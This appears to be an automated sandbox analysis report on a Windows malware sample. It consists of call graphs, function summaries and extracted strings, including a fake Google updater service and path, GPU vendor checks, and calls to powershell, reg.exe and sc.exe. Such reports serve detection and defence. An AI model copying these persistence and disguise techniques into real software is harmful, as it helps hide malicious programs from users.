2745->2746 2747 140001394 2 API calls 2746->2747 2748 140001521 2747->2748 2749 140001394 2 API calls 2748->2749 2750 140001530 2749->2750 2751 140001394 2 API calls 2750->2751 2752 14000153f 2751->2752 2753 140001394 2 API calls 2752->2753 2754 14000154e 2753->2754 2755 140001394 2 API calls 2754->2755 2756 14000155d 2755->2756 2757 140001394 2 API calls 2756->2757 2758 14000156c 2757->2758 2759 140001394 2 API calls 2758->2759 2760 14000157b 2759->2760 2761 140001394 2 API calls 2760->2761 2762 14000158a 2761->2762 2763 140001394 2 API calls 2762->2763 2764 140001599 2763->2764 2765 140001394 2 API calls 2764->2765 2766 1400015a8 2765->2766 2767 140001394 2 API calls 2766->2767 2768 1400015b7 2767->2768 2769 140001394 2 API calls 2768->2769 2770 1400015c6 2769->2770 2771 140001394 2 API calls 2770->2771 2772 1400015d5 2771->2772 2773 140001394 2 API calls 2772->2773 2774 1400015e4 2773->2774 2775 140001394 2 API calls 2774->2775 2776 1400015f3 2775->2776 2776->2346 2776->2355 2778 1400014e5 2777->2778 2779 140001394 2 API calls 2777->2779 2780 140001394 2 API calls 2778->2780 2779->2778 2781 1400014ef 2780->2781 2782 1400014f4 2781->2782 2783 140001394 2 API calls 2781->2783 2784 140001394 2 API calls 2782->2784 2783->2782 2785 1400014fe 2784->2785 2786 140001503 2785->2786 2787 140001394 2 API calls 2785->2787 2788 140001394 2 API calls 2786->2788 2787->2786 2789 14000150d 2788->2789 2790 140001394 2 API calls 2789->2790 2791 140001512 2790->2791 2792 140001394 2 API calls 2791->2792 2793 140001521 2792->2793 2794 140001394 2 API calls 2793->2794 2795 140001530 2794->2795 2796 140001394 2 API calls 2795->2796 2797 14000153f 2796->2797 2798 140001394 2 API calls 2797->2798 2799 14000154e 2798->2799 2800 140001394 2 API calls 2799->2800 2801 14000155d 2800->2801 2802 140001394 2 API calls 2801->2802 2803 14000156c 2802->2803 2804 140001394 2 API calls 2803->2804 2805 14000157b 2804->2805 2806 140001394 2 API calls 2805->2806 2807 14000158a 2806->2807 2808 140001394 2 API calls 2807->2808 2809 140001599 2808->2809 2810 140001394 2 API calls 2809->2810 2811 1400015a8 2810->2811 2812 140001394 2 API calls 2811->2812 2813 1400015b7 2812->2813 2814 140001394 2 API calls 2813->2814 2815 1400015c6 2814->2815 2816 140001394 2 API calls 2815->2816 2817 1400015d5 2816->2817 2818 140001394 2 API calls 2817->2818 2819 1400015e4 2818->2819 2820 140001394 2 API calls 2819->2820 2821 1400015f3 2820->2821 2821->2362 2823 140001394 2 API calls 2822->2823 2824 140001530 2823->2824 2825 140001394 2 API calls 2824->2825 2826 14000153f 2825->2826 2827 140001394 2 API calls 2826->2827 2828 14000154e 2827->2828 2829 140001394 2 API calls 2828->2829 2830 14000155d 2829->2830 2831 140001394 2 API calls 2830->2831 2832 14000156c 2831->2832 2833 140001394 2 API calls 2832->2833 2834 14000157b 2833->2834 2835 140001394 2 API calls 2834->2835 2836 14000158a 2835->2836 2837 140001394 2 API calls 2836->2837 2838 140001599 2837->2838 2839 140001394 2 API calls 2838->2839 2840 1400015a8 2839->2840 2841 140001394 2 API calls 2840->2841 2842 1400015b7 2841->2842 2843 140001394 2 API calls 2842->2843 2844 1400015c6 2843->2844 2845 140001394 2 API calls 2844->2845 2846 1400015d5 2845->2846 2847 140001394 2 API calls 2846->2847 2848 1400015e4 2847->2848 2849 140001394 2 API calls 2848->2849 2850 1400015f3 2849->2850 2850->2362 2852 140001394 2 API calls 2851->2852 2853 140001431 2852->2853 2854 140001394 2 API calls 2853->2854 2855 140001440 2854->2855 2856 140001394 2 API calls 2855->2856 2857 14000144f 2856->2857 2858 140001394 2 API calls 2857->2858 2859 14000145e 2858->2859 2860 140001394 2 API calls 2859->2860 2861 14000146d 2860->2861 2862 140001394 2 API calls 2861->2862 2863 14000147c 2862->2863 2864 140001394 2 API calls 2863->2864 2865 14000148b 2864->2865 2866 140001394 2 API calls 2865->2866 2867 14000149a 2866->2867 2868 140001394 2 API calls 2867->2868 2869 1400014a9 2868->2869 2870 140001394 2 API calls 2869->2870 2871 1400014b8 2870->2871 2872 140001394 2 API calls 2871->2872 2873 1400014c7 2872->2873 2874 140001394 2 API calls 2873->2874 2875 1400014d6 2874->2875 2876 1400014e5 2875->2876 2877 140001394 2 API calls 2875->2877 2878 140001394 2 API calls 2876->2878 2877->2876 2879 1400014ef 2878->2879 2880 1400014f4 2879->2880 2881 140001394 2 API calls 2879->2881 2882 140001394 2 API calls 2880->2882 2881->2880 2883 1400014fe 2882->2883 2884 140001503 2883->2884 2885 140001394 2 API calls 2883->2885 2886 140001394 2 API calls 2884->2886 2885->2884 2887 14000150d 2886->2887 2888 140001394 2 API calls 2887->2888 2889 140001512 2888->2889 2890 140001394 2 API calls 2889->2890 2891 140001521 2890->2891 2892 140001394 2 API calls 2891->2892 2893 140001530 2892->2893 2894 140001394 2 API calls 2893->2894 2895 14000153f 2894->2895 2896 140001394 2 API calls 2895->2896 2897 14000154e 2896->2897 2898 140001394 2 API calls 2897->2898 2899 14000155d 2898->2899 2900 140001394 2 API calls 2899->2900 2901 14000156c 2900->2901 2902 140001394 2 API calls 2901->2902 2903 14000157b 2902->2903 2904 140001394 2 API calls 2903->2904 2905 14000158a 2904->2905 2906 140001394 2 API calls 2905->2906 2907 140001599 2906->2907 2908 140001394 2 API calls 2907->2908 2909 1400015a8 2908->2909 2910 140001394 2 API calls 2909->2910 2911 1400015b7 2910->2911 2912 140001394 2 API calls 2911->2912 2913 1400015c6 2912->2913 2914 140001394 2 API calls 2913->2914 2915 1400015d5 2914->2915 2916 140001394 2 API calls 2915->2916 2917 1400015e4 2916->2917 2918 140001394 2 API calls 2917->2918 2919 1400015f3 2918->2919 2919->2362 2921 140001394 2 API calls 2920->2921 2922 140001440 2921->2922 2923 140001394 2 API calls 2922->2923 2924 14000144f 2923->2924 2925 140001394 2 API calls 2924->2925 2926 14000145e 2925->2926 2927 140001394 2 API calls 2926->2927 2928 14000146d 2927->2928 2929 140001394 2 API calls 2928->2929 2930 14000147c 2929->2930 2931 140001394 2 API calls 2930->2931 2932 14000148b 2931->2932 2933 140001394 2 API calls 2932->2933 2934 14000149a 2933->2934 2935 140001394 2 API calls 2934->2935 2936 1400014a9 2935->2936 2937 140001394 2 API calls 2936->2937 2938 1400014b8 2937->2938 2939 140001394 2 API calls 2938->2939 2940 1400014c7 2939->2940 2941 140001394 2 API calls 2940->2941 2942 1400014d6 2941->2942 2943 1400014e5 2942->2943 2944 140001394 2 API calls 2942->2944 2945 140001394 2 API calls 2943->2945 2944->2943 2946 1400014ef 2945->2946 2947 1400014f4 2946->2947 2948 140001394 2 API calls 2946->2948 2949 140001394 2 API calls 2947->2949 2948->2947 2950 1400014fe 2949->2950 2951 140001503 2950->2951 2952 140001394 2 API calls 2950->2952 2953 140001394 2 API calls 2951->2953 2952->2951 2954 14000150d 2953->2954 2955 140001394 2 API calls 2954->2955 2956 140001512 2955->2956 2957 140001394 2 API calls 2956->2957 2958 140001521 2957->2958 2959 140001394 2 API calls 2958->2959 2960 140001530 2959->2960 2961 140001394 2 API calls 2960->2961 2962 14000153f 2961->2962 2963 140001394 2 API calls 2962->2963 2964 14000154e 2963->2964 2965 140001394 2 API calls 2964->2965 2966 14000155d 2965->2966 2967 140001394 2 API calls 2966->2967 2968 14000156c 2967->2968 2969 140001394 2 API calls 2968->2969 2970 14000157b 2969->2970 2971 140001394 2 API calls 2970->2971 2972 14000158a 2971->2972 2973 140001394 2 API calls 2972->2973 2974 140001599 2973->2974 2975 140001394 2 API calls 2974->2975 2976 1400015a8 2975->2976 2977 140001394 2 API calls 2976->2977 2978 1400015b7 2977->2978 2979 140001394 2 API calls 2978->2979 2980 1400015c6 2979->2980 2981 140001394 2 API calls 2980->2981 2982 1400015d5 2981->2982 2983 140001394 2 API calls 2982->2983 2984 1400015e4 2983->2984 2985 140001394 2 API calls 2984->2985 2986 1400015f3 2985->2986 2986->2362

                                                Callgraph

                                                • Executed
                                                • Not Executed
                                                • Opacity -> Relevance
                                                • Disassembly available
                                                callgraph 0 Function_00000001400026E1 1 Function_00000001400062E1 2 Function_0000000140001AE4 35 Function_0000000140001D40 2->35 77 Function_0000000140001BA0 2->77 3 Function_00000001400014E5 73 Function_0000000140001394 3->73 4 Function_0000000140002FF0 59 Function_0000000140001370 4->59 5 Function_00000001400010F0 6 Function_00000001400031F1 7 Function_00000001400014F4 7->73 8 Function_0000000140006600 9 Function_0000000140002500 10 Function_0000000140001800 67 Function_0000000140002290 10->67 11 Function_0000000140001000 12 Function_0000000140001E00 11->12 42 Function_0000000140001750 11->42 86 Function_0000000140001FB0 11->86 93 Function_0000000140001FC0 11->93 13 Function_0000000140006401 14 Function_0000000140006301 15 Function_0000000140001503 15->73 16 Function_0000000140001404 16->73 17 Function_0000000140002104 18 Function_0000000140001E10 19 Function_0000000140003210 20 Function_0000000140006511 21 Function_0000000140001512 21->73 22 Function_0000000140002320 23 Function_0000000140002420 24 Function_0000000140006620 25 Function_0000000140001521 25->73 26 Function_0000000140006321 27 Function_0000000140001422 27->73 28 Function_0000000140001530 28->73 29 Function_0000000140003230 30 Function_0000000140006630 30->24 31 Function_0000000140001431 31->73 32 Function_0000000140006431 33 Function_000000014000153F 33->73 34 Function_0000000140001440 34->73 35->67 36 Function_0000000140001140 49 Function_0000000140001160 36->49 37 Function_0000000140006541 38 Function_0000000140003141 39 Function_0000000140001F47 58 Function_0000000140001870 39->58 40 Function_0000000140002050 41 Function_0000000140003250 41->4 41->15 41->24 41->25 41->27 41->28 41->31 41->33 41->34 47 Function_000000014000145E 41->47 48 Function_0000000140002660 41->48 55 Function_000000014000156C 41->55 56 Function_000000014000146D 41->56 41->59 63 Function_000000014000157B 41->63 75 Function_0000000140001599 41->75 83 Function_00000001400015A8 41->83 84 Function_00000001400014A9 41->84 92 Function_00000001400016C0 41->92 98 Function_00000001400027D0 41->98 104 Function_00000001400014D6 41->104 43 Function_0000000140001650 44 Function_0000000140002751 45 Function_0000000140006351 46 Function_000000014000155D 46->73 47->73 49->41 49->49 49->58 64 Function_0000000140001880 49->64 66 Function_0000000140001F90 49->66 49->92 50 Function_0000000140001760 106 Function_00000001400020E0 50->106 51 Function_0000000140002460 52 Function_0000000140003160 53 Function_0000000140006461 54 Function_0000000140001E65 54->58 55->73 56->73 57 Function_000000014000216F 60 Function_0000000140001A70 60->35 60->77 61 Function_0000000140002770 62 Function_0000000140006371 63->73 64->23 64->35 64->48 64->77 65 Function_0000000140003180 68 Function_0000000140002590 69 Function_0000000140002790 70 Function_0000000140002691 71 Function_0000000140006391 72 Function_0000000140006591 73->30 105 Function_00000001400068E0 73->105 74 Function_0000000140002194 74->58 75->73 76 Function_000000014000219E 77->35 85 Function_00000001400023B0 77->85 97 Function_00000001400024D0 77->97 78 Function_0000000140001FA0 79 Function_00000001400027A0 80 Function_00000001400031A1 81 Function_00000001400062A1 82 Function_00000001400064A1 83->73 84->73 87 Function_00000001400022B0 88 Function_00000001400026B0 89 Function_00000001400027B1 90 Function_00000001400063B1 91 Function_0000000140001AB3 91->35 91->77 94 Function_00000001400062C1 95 Function_0000000140001AC3 95->35 95->77 96 Function_00000001400014C7 96->73 98->3 98->7 98->15 98->21 98->24 98->46 98->47 98->48 98->59 98->84 98->96 99 Function_00000001400017D0 100 Function_0000000140001FD0 101 Function_00000001400026D0 102 Function_00000001400063D1 103 Function_0000000140001AD4 103->35 103->77 104->73 105->24 107 Function_00000001400017E0 107->106 108 Function_00000001400022E0 109 Function_00000001400063E0

                                                Executed Functions

                                                Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • NtDisableLastKnownGood.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: DisableGoodKnownLast
                                                • String ID:
                                                • API String ID: 960379669-0
                                                • Opcode ID: 7499237b17bbcd1bcb6ebcadcdfb411da627e67431d6b901ef04fbd3b683fc4c
                                                • Instruction ID: 6e9c43e43475a5412bc82c74bb0b22b7dbbc15337bd8e373d78586065a7e04e3
                                                • Opcode Fuzzy Hash: 7499237b17bbcd1bcb6ebcadcdfb411da627e67431d6b901ef04fbd3b683fc4c
                                                • Instruction Fuzzy Hash: BFF05FB6608B408AEA16DF62F85179A77A5F79D7C0F009919BBC857735DB3CC1A0CB40

                                                Non-executed Functions

                                                Function 0000000140003250 Relevance: 154.3, APIs: 62, Strings: 25, Instructions: 2067COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: memsetwcslen$wcscatwcscpy$_wcsnicmp
                                                • String ID: $ $AMD$ATI$Advanced Micro Devices$ImagePath$NVIDIA$PROGRAMDATA=$ProviderName$SYSTEMROOT=$Start$\??\$\??\$\BaseNamedObjects\kqgprdkjnfcvwovh$\BaseNamedObjects\kwthmpqvlpqry$\BaseNamedObjects\reeqgfvisjmntndykipcjcuq$\GoogleUP\Chrome\Updater.exe$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\$\Registry\Machine\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineK$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\sc.exe$/Mq
                                                • API String ID: 3506639089-2690587438
                                                • Opcode ID: b8f418fee775cb947ad96ea71a7a7a36570d1ab1e697da0d536f628e65b8d6ef
                                                • Instruction ID: f90444e7bb4cd2bdd7ebfcdd9326dfae6cddce2a202453535b68ac19c10ba563
                                                • Opcode Fuzzy Hash: b8f418fee775cb947ad96ea71a7a7a36570d1ab1e697da0d536f628e65b8d6ef
                                                • Instruction Fuzzy Hash: C1432AF1924BC198F723CB3AB8567E563A0BB9D3C4F445316BB84676B2EB794285C304
                                                Function 00000001400027D0 Relevance: 24.9, APIs: 9, Strings: 5, Instructions: 376COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 384 1400027d0-14000282b call 140002660 memset 387 140002831-14000283b 384->387 388 1400028fe-14000294e call 14000155d 384->388 390 140002864-14000286a 387->390 393 140002a43-140002a6b call 1400014c7 388->393 394 140002954-140002963 388->394 390->388 392 140002870-140002877 390->392 395 140002879-140002882 392->395 396 140002840-140002842 392->396 409 140002a76-140002ab8 call 140001503 call 140006620 memset 393->409 410 140002a6d 393->410 397 140002fa7-140002fe4 call 140001370 394->397 398 140002969-140002978 394->398 401 140002884-14000289b 395->401 402 1400028e8-1400028eb 395->402 399 14000284a-14000285e 396->399 406 1400029d4-140002a3e wcsncmp call 1400014e5 398->406 407 14000297a-1400029cd 398->407 399->388 399->390 404 1400028e5 401->404 405 14000289d-1400028b2 401->405 402->399 404->402 411 1400028c0-1400028c7 405->411 406->393 407->406 420 140002f39-140002f74 call 140001370 409->420 421 140002abe-140002ac5 409->421 410->409 414 1400028c9-1400028e3 411->414 415 1400028f0-1400028f9 411->415 414->404 414->411 415->399 424 140002ac7-140002afc 420->424 428 140002f7a 420->428 423 140002b03-140002b33 wcscpy wcscat wcslen 421->423 421->424 426 140002b35-140002b66 wcslen 423->426 427 140002b68-140002b95 423->427 424->423 429 140002b98-140002baf wcslen 426->429 427->429 428->423 430 140002bb5-140002bc8 429->430 431 140002f7f-140002f9b call 140001370 429->431 433 140002be5-140002eeb wcslen call 1400014a9 * 2 call 1400014f4 call 1400014c7 * 2 call 14000145e * 3 430->433 434 140002bca-140002bde 430->434 431->397 452 140002eed-140002f0b call 140001512 433->452 453 140002f10-140002f38 call 14000145e 433->453 434->433 452->453
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: wcslen$memset$wcscatwcscpywcsncmp
                                                • String ID: 0$X$\BaseNamedObjects\kqgprdkjnfcvwovh$`$/Mq
                                                • API String ID: 780471329-530657819
                                                • Opcode ID: 84458898869cb7d6c734ddbc9319591ca71e2fec70eb770a18ee507b50d64d23
                                                • Instruction ID: 5a8805c44f45433a6705888ea433cdc6f86a956b89afec16af3a87c4dab02634
                                                • Opcode Fuzzy Hash: 84458898869cb7d6c734ddbc9319591ca71e2fec70eb770a18ee507b50d64d23
                                                • Instruction Fuzzy Hash: AF1259B2618B8481E762CB1AF8443EAB7A4F789794F414215EBAC57BF5DF78C189C700
                                                Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                • String ID:
                                                • API String ID: 2643109117-0
                                                • Opcode ID: 9cc66d359c1f09b40fc96f97af8d7ece17619813747f730dfa71ddce9ba7df6e
                                                • Instruction ID: e98b10b822cb8f6e9a5f4a7c46c72e7db8559c2cddf8b72982c2c6f801928693
                                                • Opcode Fuzzy Hash: 9cc66d359c1f09b40fc96f97af8d7ece17619813747f730dfa71ddce9ba7df6e
                                                • Instruction Fuzzy Hash: 6E5100B1611A4085FA16EF27F9947EA27A1AB8DBD0F449121FB4E873B2DE3884958700
                                                Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 498 140001ba0-140001bc0 499 140001bc2-140001bd7 498->499 500 140001c09 498->500 501 140001be9-140001bf1 499->501 502 140001c0c-140001c17 call 1400023b0 500->502 503 140001bf3-140001c02 501->503 504 140001be0-140001be7 501->504 509 140001cf4-140001cfe call 140001d40 502->509 510 140001c1d-140001c6c call 1400024d0 VirtualQuery 502->510 503->504 506 140001c04 503->506 504->501 504->502 508 140001cd7-140001cf3 memcpy 506->508 513 140001d03-140001d1e call 140001d40 509->513 510->513 515 140001c72-140001c79 510->515 519 140001d23-140001d38 GetLastError call 140001d40 513->519 517 140001c7b-140001c7e 515->517 518 140001c8e-140001c97 515->518 521 140001cd1 517->521 522 140001c80-140001c83 517->522 523 140001ca4-140001ccf VirtualProtect 518->523 524 140001c99-140001c9c 518->524 521->508 522->521 526 140001c85-140001c8a 522->526 523->519 523->521 524->521 527 140001c9e 524->527 526->521 528 140001c8c 526->528 527->523 528->527
                                                APIs
                                                • VirtualQuery.KERNEL32(?,?,?,?,0000000140007E70,0000000140007E70,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
                                                • VirtualProtect.KERNEL32(?,?,?,?,0000000140007E70,0000000140007E70,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
                                                • memcpy.MSVCRT ref: 0000000140001CE0
                                                • GetLastError.KERNEL32(?,?,?,?,0000000140007E70,0000000140007E70,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                • API String ID: 2595394609-2123141913
                                                • Opcode ID: 2da06e0850935a7bece5d2fa7afbf3e6190e92cb6439634c81e972de1443cd05
                                                • Instruction ID: ce7587a463a9a74d2bb499814397480cb12c9573d8e0bc1b0888adbdf58502e0
                                                • Opcode Fuzzy Hash: 2da06e0850935a7bece5d2fa7afbf3e6190e92cb6439634c81e972de1443cd05
                                                • Instruction Fuzzy Hash: 214132B1201A4486FA26DF57F884BE927A0E78DBC4F558126EF0E877B1DA38C586C700
                                                Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 529 140002104-14000210b 530 140002111-140002128 EnterCriticalSection 529->530 531 140002218-140002221 529->531 532 14000220b-140002212 LeaveCriticalSection 530->532 533 14000212e-14000213c 530->533 534 140002272-140002280 531->534 535 140002223-14000222d 531->535 532->531 538 14000214d-140002159 TlsGetValue GetLastError 533->538 536 140002241-140002263 DeleteCriticalSection 535->536 537 14000222f 535->537 536->534 539 140002230-14000223f free 537->539 540 14000215b-14000215e 538->540 541 140002140-140002147 538->541 539->536 539->539 540->541 542 140002160-14000216d 540->542 541->532 541->538 542->541
                                                APIs
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                • String ID:
                                                • API String ID: 3326252324-0
                                                • Opcode ID: 4db2b3e15c648c2e5d44a157b8fcd073751dc80793f6d4615a9dc2d61e49829d
                                                • Instruction ID: 3971919ab57c27d600a1ff5ba608dd9212477336681c19b1503f5902cf65e4a0
                                                • Opcode Fuzzy Hash: 4db2b3e15c648c2e5d44a157b8fcd073751dc80793f6d4615a9dc2d61e49829d
                                                • Instruction Fuzzy Hash: 1F21C5B1305A1192FA2BDB53F9583E82364BB6DBD0F444121EF5A57AB4DB7AC986C300
                                                Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 544 140001e10-140001e2d 545 140001e3e-140001e48 544->545 546 140001e2f-140001e38 544->546 548 140001ea3-140001ea8 545->548 549 140001e4a-140001e53 545->549 546->545 547 140001f60-140001f69 546->547 548->547 552 140001eae-140001eb3 548->552 550 140001e55-140001e60 549->550 551 140001ecc-140001ed1 549->551 550->548 555 140001f23-140001f2d 551->555 556 140001ed3-140001ee2 signal 551->556 553 140001eb5-140001eba 552->553 554 140001efb-140001f0a call 140006be0 552->554 553->547 561 140001ec0 553->561 554->555 565 140001f0c-140001f10 554->565 559 140001f43-140001f45 555->559 560 140001f2f-140001f3f 555->560 556->555 557 140001ee4-140001ee8 556->557 562 140001eea-140001ef9 signal 557->562 563 140001f4e-140001f53 557->563 559->547 560->559 561->555 562->547 566 140001f5a 563->566 567 140001f12-140001f21 signal 565->567 568 140001f55 565->568 566->547 567->547 568->566
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: CCG
                                                • API String ID: 0-1584390748
                                                • Opcode ID: e97456c2db4c566f3d7dc493090a254b32206473731b29f9c59ef8b921ac1576
                                                • Instruction ID: 0d0cdd76e27464eab58c3101b34b7ecc2a8ef26ebffc61dfa6a838f535d4530f
                                                • Opcode Fuzzy Hash: e97456c2db4c566f3d7dc493090a254b32206473731b29f9c59ef8b921ac1576
                                                • Instruction Fuzzy Hash: 0E2159B1A0510542FA77DA2BB5903F92182ABCC7E4F258635FF19873F5DF7888C28241
                                                Function 0000000140006630 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 185COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 569 140006630-14000664c 570 14000667b-14000669f call 140006620 569->570 571 14000664e 569->571 576 1400068c6-1400068d8 570->576 578 1400066a5-1400066b9 call 140006620 570->578 573 140006655-14000665a 571->573 575 140006660-140006663 573->575 575->576 577 140006669-14000666f 575->577 577->575 579 140006671-140006676 577->579 582 1400066cf-1400066e1 578->582 579->576 583 1400066c3-1400066cd 582->583 584 1400066e3-1400066fd call 140006620 582->584 583->582 585 140006725-140006728 583->585 590 1400066ff-140006721 call 140006620 * 2 584->590 591 1400066c0 584->591 585->576 587 14000672e-14000675a call 140006620 malloc 585->587 595 1400068bc 587->595 596 140006760-140006762 587->596 590->583 601 140006723 590->601 591->583 595->576 596->595 598 140006768-140006798 call 140006620 * 2 596->598 605 1400067a0-1400067b7 598->605 601->587 606 140006893-14000689b 605->606 607 1400067bd-1400067c3 605->607 610 1400068a6-1400068b4 606->610 611 14000689d-1400068a0 606->611 608 140006812 607->608 609 1400067c5-1400067e3 call 140006620 607->609 614 140006817-140006859 call 140006620 * 2 608->614 617 1400067f0-14000680e 609->617 610->573 613 1400068ba 610->613 611->605 611->610 613->576 622 140006888-14000688f 614->622 623 14000685b 614->623 617->617 619 140006810 617->619 619->614 622->606 624 140006860-14000686c 623->624 625 140006883 624->625 626 14000686e-140006881 624->626 625->622 626->624 626->625
                                                APIs
                                                • malloc.MSVCRT(0000000140009098,\BaseNamedObjects\kwthmpqvlpqry,?,?,?,?,00000001400013B8,?,?,?,?,0000000140001315,?,?,?,0000000140001156), ref: 0000000140006747
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
